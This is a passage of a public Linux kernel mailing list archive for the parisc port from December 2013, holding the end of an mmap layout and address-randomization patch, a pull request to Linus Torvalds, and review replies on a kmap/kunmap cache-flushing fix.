+	if (addr) {
+		if (do_color_align)
+			addr = COLOR_ALIGN(addr, filp, pgoff);
+		else
+			addr = PAGE_ALIGN(addr);
+
+		vma = find_vma(mm, addr);
+		if (task_size - len >= addr &&
+		    (!vma || addr + len <= vma->vm_start))
+			return addr;
+	}
+
 	info.flags = 0;
 	info.length = len;
-	info.low_limit = PAGE_ALIGN(addr);
-	info.high_limit = TASK_SIZE;
-	info.align_mask = PAGE_MASK & (SHMLBA - 1);
+	info.low_limit = mm->mmap_legacy_base;
+	info.high_limit = mmap_upper_limit();
+	info.align_mask = do_color_align ? (PAGE_MASK & (SHMLBA - 1)) : 0;
 	info.align_offset = shared_align_offset(filp, pgoff);
-	return vm_unmapped_area(&info);
+	addr = vm_unmapped_area(&info);
+
+	return addr;
 }
 
-unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long
+arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
+			  const unsigned long len, const unsigned long pgoff,
+			  const unsigned long flags)
 {
+	struct vm_area_struct *vma;
+	struct mm_struct *mm = current->mm;
+	unsigned long addr = addr0;
+	int do_color_align;
+	struct vm_unmapped_area_info info;
+
+	/* This should only ever run for 32-bit processes.  */
+	BUG_ON(!test_thread_flag(TIF_32BIT));
+
+	/* requested length too big for entire address space */
 	if (len > TASK_SIZE)
 		return -ENOMEM;
+
 	if (flags & MAP_FIXED) {
 		if ((flags & MAP_SHARED) &&
 		    (addr - shared_align_offset(filp, pgoff)) & (SHMLBA - 1))
 			return -EINVAL;
 		return addr;
 	}
-	if (!addr)
-		addr = TASK_UNMAPPED_BASE;
 
+	do_color_align = 0;
 	if (filp || (flags & MAP_SHARED))
-		addr = get_shared_area(filp, addr, len, pgoff);
-	else
-		addr = get_unshared_area(addr, len);
+		do_color_align = 1;
+
+	/* requesting a specific address */
+	if (addr) {
+		if (do_color_align)
+			addr = COLOR_ALIGN(addr, filp, pgoff);
+		else
+			addr = PAGE_ALIGN(addr);
+		vma = find_vma(mm, addr);
+		if (TASK_SIZE - len >= addr &&
+		    (!vma || addr + len <= vma->vm_start))
+			return addr;
+	}
 
-	return addr;
+	info.flags = VM_UNMAPPED_AREA_TOPDOWN;
+	info.length = len;
+	info.low_limit = PAGE_SIZE;
+	info.high_limit = mm->mmap_base;
+	info.align_mask = do_color_align ? (PAGE_MASK & (SHMLBA - 1)) : 0;
+	info.align_offset = shared_align_offset(filp, pgoff);
+	addr = vm_unmapped_area(&info);
+	if (!(addr & ~PAGE_MASK))
+		return addr;
+	VM_BUG_ON(addr != -ENOMEM);
+
+	/*
+	 * A failed mmap() very likely causes application failure,
+	 * so fall back to the bottom-up function here. This scenario
+	 * can happen with large stack limits and large mmap()
+	 * allocations.
+	 */
+	return arch_get_unmapped_area(filp, addr0, len, pgoff, flags);
+}
+
+static int mmap_is_legacy(void)
+{
+	if (current->personality & ADDR_COMPAT_LAYOUT)
+		return 1;
+
+	/* parisc stack always grows up - so a unlimited stack should
+	 * not be an indicator to use the legacy memory layout. */
+	if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)
+		return 1;
+
+	return sysctl_legacy_va_layout;
+}
+
+/*
+ * True if 32bit task
+ */
+static inline int mmap_is_32bit(void)
+{
+#ifndef CONFIG_64BIT
+	return 1;
+#endif
+#ifdef CONFIG_COMPAT
+	if (test_thread_flag(TIF_32BIT))
+		return 1;
+#endif
+	return 0;
 }
 
+static unsigned long mmap_rnd(void)
+{
+	unsigned long rnd = 0;
+
+	/*
+	*  8 bits of randomness in 32bit mmaps, 20 address space bits
+	* 28 bits of randomness in 64bit mmaps, 40 address space bits
+	*/
+	if (current->flags & PF_RANDOMIZE) {
+		if (mmap_is_32bit())
+			rnd = get_random_int() % (1<<8);
+		else
+			rnd = get_random_int() % (1<<28);
+	}
+	return rnd << PAGE_SHIFT;
+}
+
+static unsigned long mmap_legacy_base(void)
+{
+	return TASK_UNMAPPED_BASE + mmap_rnd();
+}
+
+/*
+ * Flexible mmap layout support
+ * http://lwn.net/Articles/91829
+ * echo 0/1 /proc/sys/vm/legacy_va_layout
+ *
+ */
+
+
+/*
+ * This function, called very early during the creation of a new
+ * process VM image, sets up which VM layout function to use:
+ */
+void arch_pick_mmap_layout(struct mm_struct *mm)
+{
+	mm->mmap_legacy_base = mmap_legacy_base();
+	mm->mmap_base = mmap_upper_limit();
+
+	if (mmap_is_legacy()) {
+		mm->mmap_base = mm->mmap_legacy_base;
+		mm->get_unmapped_area = arch_get_unmapped_area;
+	} else {
+		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
+	}
+}
+
+
 asmlinkage unsigned long sys_mmap2(unsigned long addr, unsigned long len,
 	unsigned long prot, unsigned long flags, unsigned long fd,
 	unsigned long pgoff)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.13
Date: Tue, 3 Dec 2013 23:51:35 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20131203225135.GA24347@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1386111100 22950 80.91.229.3 (3 Dec 2013 22:51:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Dec 2013 22:51:40 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 03 23:51:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vnyoe-0005mY-QR
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Dec 2013 23:51:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755304Ab3LCWvj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Dec 2013 17:51:39 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:58651 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755296Ab3LCWvj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Dec 2013 17:51:39 -0500
Original-Received: from p100.box ([84.173.62.100]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0M86Cn-1VSLMG1eHR-00vgLF for
 <linux-parisc@vger.kernel.org>; Tue, 03 Dec 2013 23:51:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:X93Rq8C8LTqJeO9WuQPWGpOefnfY7B1k9CjVZm5pyb5QTiX7CHh
 etI5aJgbe7Xi0y+DgFtB+bQzCgvDQyYXo2353SkhluidAucQO3DNPPyX4cJFU14METDiC5q
 7d0yqdjBXttYZjeJh1bA0Jlald98w6YIg4FnFJ4TANc6yJ7DjOnjrYvCnGttWLiG6+rnV4t
 o+an9zWuX9jtC9s0X4JeQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5534 gmane.linux.kernel:1606506
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5534>

Hi Linus,

please pull the latest parisc fixes from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.13

The major changes are:
- a fix for the mmap(MAP_FIXED|MAP_SHARED) syscall to the same address which
  was already given in a previous call (fixes locale-gen on debian)
- change the memory layout of the kernel to avoid the need for the -mlong-calls
  compiler option (depends on commit 5ecbe3c - kernel/extable: fix
  address-checks for core_kernel and init areas)
- defconfig updates, e.g. use the SIL680 driver instead of the SIIMAGE driver
- add more parisc machine names to the machine database

Thanks,
Helge

----------------------------------------------------------------
Chen Gang (1):
      parisc: remove empty SERIAL_PORT_DFNS in serial.h

Helge Deller (6):
      parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
      parisc: add some more machine names to hardware database
      parisc: use kernel_text_address() in unwind functions
      parisc: fix kernel memory layout in vmlinux.ld.S
      parisc: remove CONFIG_MLONGCALLS=y from defconfigs
      parisc: update 64bit defconfigs and use SIL680 instead of SIIMAGE driver

 arch/parisc/configs/c3000_defconfig         |   2 +-
 arch/parisc/configs/c8000_defconfig         |  36 +-------
 arch/parisc/configs/generic-64bit_defconfig |  39 +-------
 arch/parisc/include/asm/serial.h            |   2 -
 arch/parisc/kernel/hardware.c               |   7 +-
 arch/parisc/kernel/head.S                   |   6 +-
 arch/parisc/kernel/sys_parisc.c             |  25 +++--
 arch/parisc/kernel/unwind.c                 |   9 +-
 arch/parisc/kernel/vmlinux.lds.S            | 138 ++++++++++++----------------
 arch/parisc/mm/init.c                       |  19 +++-
 10 files changed, 110 insertions(+), 173 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] mm, show_mem: Remove SHOW_MEM_FILTER_PAGE_COUNT
Date: Tue, 3 Dec 2013 15:41:38 -0800 (PST)
Lines: 27
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.02.1312031541240.5946@chino.kir.corp.google.com>
References: <20131016104228.GM11028@suse.de> <alpine.DEB.2.02.1310161809470.12062@chino.kir.corp.google.com> <20131203145721.GQ11295@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1386114098 23485 80.91.229.3 (3 Dec 2013 23:41:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Dec 2013 23:41:38 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>, Tony Luck <tony.luck@intel.com>, 
    Russell King <linux@arm.linux.org.uk>, 
    James Bottomley <jejb@parisc-linux.org>, 
    linux-arm-kernel@lists.infradead.org, linux-ia64@vger.kernel.org, 
    linux-parisc@vger.kernel.org, Linux-MM <linux-mm@kvack.org>, 
    LKML <linux-kernel@vger.kernel.org>
To: Mel Gorman <mgorman@suse.de>
Original-X-From: owner-linux-mm@kvack.org Wed Dec 04 00:41:43 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Vnzb5-0006ub-54
	for glkm-linux-mm-2@m.gmane.org; Wed, 04 Dec 2013 00:41:43 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 693E06B007B; Tue,  3 Dec 2013 18:41:42 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 636A46B007D; Tue,  3 Dec 2013 18:41:42 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 4D8FB6B0080; Tue,  3 Dec 2013 18:41:42 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qa0-f53.google.com (mail-qa0-f53.google.com [209.85.216.53])
	by kanga.kvack.org (Postfix) with ESMTP id 2C9A56B007B
	for <linux-mm@kvack.org>; Tue,  3 Dec 2013 18:41:42 -0500 (EST)
Original-Received: by mail-qa0-f53.google.com with SMTP id j5so6142768qaq.5
        for <linux-mm@kvack.org>; Tue, 03 Dec 2013 15:41:41 -0800 (PST)
X-Gm-Message-State: ALoCoQm8V27CLdxUGevDAItNkYNWZMAHijy3KeXQbyQjq+EwRzcwpur/0U3T7gjT/iYyItvcYvIJEy4P2WJ6wcNKlFXq66wlXgKoiHqdcI4uuPM7ihyLP1Sobk3Iy+rdtjNWlH2ARDI3udDysW0IScCWOTDlgabVep7AmIaQguIs9XHPOk7BqLGwWhHCEO3M+WaCTe2+Xah8snKqbOgMK+O59w4ou+3cTDc/KdIo6caXj+93SePNnru+pMcJ5IvIXlQyecnlp0tnDQAsgoWeFztcV5KtFF4mPABBI88RzsHkymSsmhk9LBgzUaqJ8cXAItvbItbXGPEJGPVsAq5F9uK54D7qckNBJTn4jeFvCtbcT1pIdSGC3A4F9Cwv8vB4qAzU14C/064G6F1UraxfRE3qsNbA8aRiBySoglLEj3EeUn/EZoOoPsY=
X-Received: by 10.49.30.197 with SMTP id u5mr131473469qeh.33.1386114101911;
        Tue, 03 Dec 2013 15:41:41 -0800 (PST)
X-Received: by 10.49.30.197 with SMTP id u5mr131473407qeh.33.1386114101408;
        Tue, 03 Dec 2013 15:41:41 -0800 (PST)
Original-Received: from mail-yh0-x236.google.com (mail-yh0-x236.google.com [2607:f8b0:4002:c01::236])
        by mx.google.com with ESMTPS id 4si18855066qeq.131.2013.12.03.15.41.41
        for <linux-mm@kvack.org>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 03 Dec 2013 15:41:41 -0800 (PST)
Received-SPF: pass (google.com: domain of rientjes@google.com designates 2607:f8b0:4002:c01::236 as permitted sender) client-ip=2607:f8b0:4002:c01::236;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of rientjes@google.com designates 2607:f8b0:4002:c01::236 as permitted sender) smtp.mail=rientjes@google.com;
       dkim=pass header.i=@google.com;
       dmarc=pass (p=REJECT dis=NONE) header.from=google.com
Original-Received: by mail-yh0-f54.google.com with SMTP id z12so10710858yhz.41
        for <linux-mm@kvack.org>; Tue, 03 Dec 2013 15:41:41 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=date:from:to:cc:subject:in-reply-to:message-id:references
         :user-agent:mime-version:content-type;
        bh=/WlT7LwFw9Dff0S6THraZ01I8QI6oiYmHMZdMCo+lWA=;
        b=RVtZKfWnNuq37EC9NqZs6jSUzq678RhVbRSJw49Qn01wbaQyelbBZqOojjIxcaJF1z
         q1xAknN5LqBGke2QVk4JNSERPuOlAKwlvylkAr6GN2Sq+5ZsmZMH93W3Sk/gCDlp/DcO
         tALsPHRNXYJYDyqNXlwp0eypOX3DeuWVee6Nf2IyniNpsifKuvo5mjeF8ki+F+o0yhli
         fVCPs3F1/ipQNGE6bevDlwR1wu/VAMaJH6BQuROXGLc99ycx4uk64W53OO5Ey+9V52sV
         z3BQ2wW0A2NahB0yFTZlP+vREqGZXnpsd2Pv3RoXd3+R9DbtMdY3f0trWA1EpHY1OYL1
         etUw==
X-Received: by 10.236.125.230 with SMTP id z66mr4277389yhh.104.1386114100912;
        Tue, 03 Dec 2013 15:41:40 -0800 (PST)
Original-Received: from [2620:0:1008:1101:be30:5bff:fed8:5e64] ([2620:0:1008:1101:be30:5bff:fed8:5e64])
        by mx.google.com with ESMTPSA id e39sm136976083yhq.15.2013.12.03.15.41.39
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 03 Dec 2013 15:41:40 -0800 (PST)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <20131203145721.GQ11295@suse.de>
User-Agent: Alpine 2.02 (DEB 1266 2009-07-14)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:109994 gmane.linux.ports.arm.kernel:284749 gmane.linux.ports.ia64:23489 gmane.linux.ports.parisc:5535 gmane.linux.kernel:1606549
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/109994>

On Tue, 3 Dec 2013, Mel Gorman wrote:

> Commit 4b59e6c4 (mm, show_mem: suppress page counts in non-blockable
> contexts) introduced SHOW_MEM_FILTER_PAGE_COUNT to suppress PFN walks
> on large memory machines. Commit c78e9363 (mm: do not walk all of system
> memory during show_mem) avoided a PFN walk in the generic show_mem helper
> which removes the requirement for SHOW_MEM_FILTER_PAGE_COUNT in that case.
> 
> This patch removes PFN walkers from the arch-specific implementations that
> report on a per-node or per-zone granularity. ARM and unicore32 still do
> a PFN walk as they report memory usage on each bank which is a much finer
> granularity where the debugging information may still be of use. As the
> remaining arches doing PFN walks have relatively small amounts of memory,
> this patch simply removes SHOW_MEM_FILTER_PAGE_COUNT.
> 
> Signed-off-by: Mel Gorman <mgorman@suse.de>

Acked-by: David Rientjes <rientjes@google.com>

Thanks!

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix cache flushing in kmap/kunmap API
 implementation for aio
Date: Tue, 03 Dec 2013 16:08:02 -0800
Lines: 53
Approved: news@gmane.org
Message-ID: <1386115682.2166.125.camel@dabdike.int.hansenpartnership.com>
References: <20131201211832.GA15998@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1386115682 6817 80.91.229.3 (4 Dec 2013 00:08:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Dec 2013 00:08:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 04 01:08:07 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vo00c-00048c-Dy
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Dec 2013 01:08:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753229Ab3LDAIF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Dec 2013 19:08:05 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53574 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753139Ab3LDAIF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Dec 2013 19:08:05 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D6C588EE0DB;
	Tue,  3 Dec 2013 16:08:04 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id SBJPIbgXv02l; Tue,  3 Dec 2013 16:08:04 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2B0C08EE0C9;
	Tue,  3 Dec 2013 16:08:04 -0800 (PST)
In-Reply-To: <20131201211832.GA15998@p100.box>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5536
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5536>

On Sun, 2013-12-01 at 22:18 +0100, Helge Deller wrote:
> This is now the next try to fix the aio bug in our kmap/kunmap
> implementation. It's basically stuff from 

I thought the implementation required us to move to coherency management
in the kmap API?, in which case ...

[...]
> -void kunmap_parisc(void *addr);
> -
>  static inline void *kmap(struct page *page)
>  {
>  	might_sleep();
> +	/* Flush dcache page on CPUs that require coherency. */
> +	if (parisc_requires_coherency())
> +		flush_dcache_page(page);
>  	return page_address(page);
>  }

We have to call flush_dcache_page() unconditionally here.  It's the API
that coheres all the user space mappings.  It has to be called somehow
before the kernel begins operating on the mapped address.

>  static inline void kunmap(struct page *page)
>  {
> -	kunmap_parisc(page_address(page));
> +	/* Always flush kernel dcache, even if CPU doesn't require conherency.
> +	 * Needed on CPUs < PA8800/PA8900 for AIO support. */
> +	flush_kernel_dcache_page_addr(page_address(page));
>  }
>  
>  static inline void *kmap_atomic(struct page *page)
>  {
>  	pagefault_disable();
> +	/* Flush dcache page on CPUs that require coherency. */
> +	if (parisc_requires_coherency())
> +		flush_dcache_page(page);
>  	return page_address(page);
>  }

And unconditionally here too.

And if we do that, I don't see that we need special code for the
pa88/8900 any more.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix cache flushing in kmap/kunmap API implementation for aio
Date: Tue, 3 Dec 2013 19:35:19 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <BLU0-SMTP902C0BE78FF0A1636E894797D40@phx.gbl>
References: <20131201211832.GA15998@p100.box> <1386115682.2166.125.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1386117336 23346 80.91.229.3 (4 Dec 2013 00:35:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Dec 2013 00:35:36 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 04 01:35:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vo0RH-0002KV-E3
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Dec 2013 01:35:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754533Ab3LDAfj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Dec 2013 19:35:39 -0500
Original-Received: from blu0-omc4-s16.blu0.hotmail.com ([65.55.111.155]:63021 "EHLO
	blu0-omc4-s16.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754331Ab3LDAfi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Dec 2013 19:35:38 -0500
Original-Received: from BLU0-SMTP90 ([65.55.111.136]) by blu0-omc4-s16.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 3 Dec 2013 16:35:38 -0800
X-TMN: [jU3mtGn5lySKbbM80/pIXR8vracWPmWR]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.247]) by BLU0-SMTP90.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 3 Dec 2013 16:35:36 -0800
In-Reply-To: <1386115682.2166.125.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 Dec 2013 00:35:36.0170 (UTC) FILETIME=[BFA36CA0:01CEF088]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5537
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5537>

On 3-Dec-13, at 7:08 PM, James Bottomley wrote:

> On Sun, 2013-12-01 at 22:18 +0100, Helge Deller wrote:
>> This is now the next try to fix the aio bug in our kmap/kunmap
>> implementation. It's basically stuff from
>
> I thought the implementation required us to move to coherency  
> management
> in the kmap API?, in which case ...

This is what I've been saying to Helge.

We don't fully understand why we need to flush unconditionally to fix  
the aio bug
in kunmap.  I can see it for coherency and when different non coherent  
caches are
involved (e.g., I & D).  Could this be SMP related?

I think if we understand the kunmap case, we will also understand the  
kmap case.
At the moment, the fix is just based on testing.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: [PATCH 5/9] parisc/pci: Repalce local inline function with PCI standard marco
Date: Thu, 5 Dec 2013 19:59:38 +0800
Lines: 80
Approved: news@gmane.org
Message-ID: <1386244778-22820-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1386244819 30415 80.91.229.3 (5 Dec 2013 12:00:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Dec 2013 12:00:19 +0000 (UTC)
Cc: <linux-pci@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Yijing Wang <wangyijing@huawei.com>,
	"Hanjun Guo" <guohanjun@huawei.com>
To: Bjorn Helgaas <bhelgaas@google.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Dec 05 13:00:23 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VoXbJ-0007Zy-FF
	for glk-linux-kernel-3@plane.gmane.org; Thu, 05 Dec 2013 13:00:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756498Ab3LEMAH (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 5 Dec 2013 07:00:07 -0500
Original-Received: from szxga03-in.huawei.com ([119.145.14.66]:38538 "EHLO
	szxga03-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756121Ab3LEMAF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 5 Dec 2013 07:00:05 -0500
Original-Received: from 172.24.2.119 (EHLO szxeml206-edg.china.huawei.com) ([172.24.2.119])
	by szxrg03-dlp.huawei.com (MOS 4.4.3-GA FastPath queued)
	with ESMTP id AHI17784;
	Thu, 05 Dec 2013 19:59:49 +0800 (CST)
Original-Received: from SZXEML403-HUB.china.huawei.com (10.82.67.35) by
 szxeml206-edg.china.huawei.com (172.24.2.59) with Microsoft SMTP Server (TLS)
 id 14.3.158.1; Thu, 5 Dec 2013 19:59:44 +0800
Original-Received: from localhost (10.135.76.69) by szxeml403-hub.china.huawei.com
 (10.82.67.35) with Microsoft SMTP Server id 14.3.158.1; Thu, 5 Dec 2013
 19:59:39 +0800
X-Mailer: git-send-email 1.7.11.msysgit.1
X-Originating-IP: [10.135.76.69]
X-CFilter-Loop: Reflected
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
